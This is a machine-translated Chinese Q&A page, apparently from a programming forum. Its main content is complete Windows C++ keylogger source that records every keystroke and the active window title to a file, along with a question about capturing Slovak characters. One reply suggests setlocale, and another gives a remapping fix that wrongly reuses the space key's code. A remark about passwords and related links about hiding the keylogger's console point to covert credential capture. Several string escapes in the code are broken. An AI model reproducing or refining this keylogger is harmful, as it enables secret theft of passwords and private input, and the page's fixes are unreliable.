C++具有特殊按键布局的按键记录器
C++ key logger with special key layout
我想用 C/C++ 创建键盘记录器,但是,我来自斯洛伐克,我们有一些特殊字符,如 ľ、š、č、ť、ž、ý、á、í ...
斯洛伐克语键盘布局图像
但是当按"č"时 ->我的 keylooger 检测到"4"(它在英文 keyborad 布局上是相等的字符)。
我该如何处理这个问题?
#include <windows.h>
#include <fstream>
#include <string>
#include <stdio.h>
#include <iostream>
#include <conio.h>
using namespace std;
string convertkey(int key){
string keystring;
switch(key)
{
case 8 :
keystring = "[/]";
break;
case 13 :
keystring = "n";
break;
case 32 :
keystring = " ";
break;
case 190 :
keystring = ".";
break;
case 110 :
keystring = ".";
break;
case VK_CAPITAL :
keystring = "[CAPS LOCK]";
break;
case VK_TAB :
keystring = "[TAB]";
break;
case VK_CONTROL :
keystring = "[CONTROL]";
break;
case VK_ESCAPE :
keystring = "[ESCAPE]";
break;
case VK_DOWN :
keystring = "[DOWN]";
break;
case VK_LEFT :
keystring = "[LEFT]";
break;
case VK_RIGHT :
keystring = "[RIGHT]";
break;
case VK_UP :
keystring = "[UP]";
break;
}
if(key >= 96 && key <= 105)
keystring = key-48;
else if (key > 47 && key < 60)
keystring = key;
if (key != VK_LBUTTON || key != VK_RBUTTON)
{
if (key > 64 && key < 91)
{
if (GetKeyState(VK_CAPITAL) | GetAsyncKeyState(VK_SHIFT))
keystring = key; //if its capital then stay
else
{
key = key + 32; //if not shift the number to the lowercase value
keystring = key;
}
}
}
return keystring;
}
void StoreKey(string key){
ofstream storekey("C:\storekey.txt", ios::app);
storekey << key;
cout << key;
storekey.close();
}
void Logger()
{
string keyinstring = "";
int key;
char currentwindowtitle[MAX_PATH];
char newwindowtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
while(true)
{
Sleep(5);
for(key = 8; key <= 256; key++)
{
if(GetAsyncKeyState(key)&1 == 1)
{
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
if (strcmp(newwindowtitle, currentwindowtitle) != 0)
{
ofstream storekey("C:\storekey.txt", ios::app);
storekey << endl << currentwindowtitle << endl;
cout << endl << currentwindowtitle << endl;
storekey.close();
strcpy(newwindowtitle, currentwindowtitle);
}
keyinstring = convertkey(key);
StoreKey(keyinstring);
}
}
}
}
int main(){
Logger();
return 1;
}
你试过setlocale(LC_ALL, "sk-SK")
吗? 斯洛伐克是sk-SK,但如果函数无法设置新的区域设置,则不会修改区域设置并返回空指针。
#include <locale.h>
#include <stdio.h>
#include <time.h>
int main ()
{
time_t currtime;
struct tm *timer;
char buffer[80];
time( &currtime );
timer = localtime( &currtime );
printf("Locale is: %sn", setlocale(LC_ALL, "sk-SK"));
strftime(buffer,80,"%c", timer );
printf("Date is: %sn", buffer);
return(0);
}
printf("Locale is: %s", setlocale(LC_ALL, "Slovak"));
输出:区域设置为:Slovak_Slovakia.1250
http://msdn.microsoft.com/en-US/library/39cwe7zf(v=vs.100).aspx
当它检测到 4 个保存 č 时,做一个开关大小写。
case 32 :
keystring = "č";
break;
顺便问一下,为什么要保存那些特殊字符?我认为您的密码中不能包含这些内容。
相关文章:
- 创建 Spdlog 异步文件记录器时遇到困难
- 如何将自定义记录器与websocketpp一起使用?
- 在C++中隐藏键盘记录器的控制台窗口
- 为什么Qt Creator的应用程序输出不能从spdlog记录器打印
- 麻烦得到提升::记录器编译
- 我正在尝试用 c++ 制作一个日志记录框架,但信息没有传递给记录器的子组件,我做错了什么?
- 多态记录器(虚拟模板化函数?
- 设置提升记录器的线程名称
- Boost Log的琐碎记录器"lazy evaluation"是如何工作的?
- boost::log 设置"Channel"通道记录器中的属性
- 区分键盘记录器中的密码和其他类型的键盘输入
- 记录器的流界面,C
- 如何监控Android和iOS上的所有击键操作,如Windows键盘记录器
- 如何声明和定义 Poco 记录器
- 记录器何时应刷新
- 带有 gtest 框架的 spdlog 记录器不起作用
- 使用常量字符*时如何使用带有模板的记录器
- 键盘记录器不会在没有控制台的情况下记录击键
- c++键盘记录器丢失的键
- C++具有特殊按键布局的按键记录器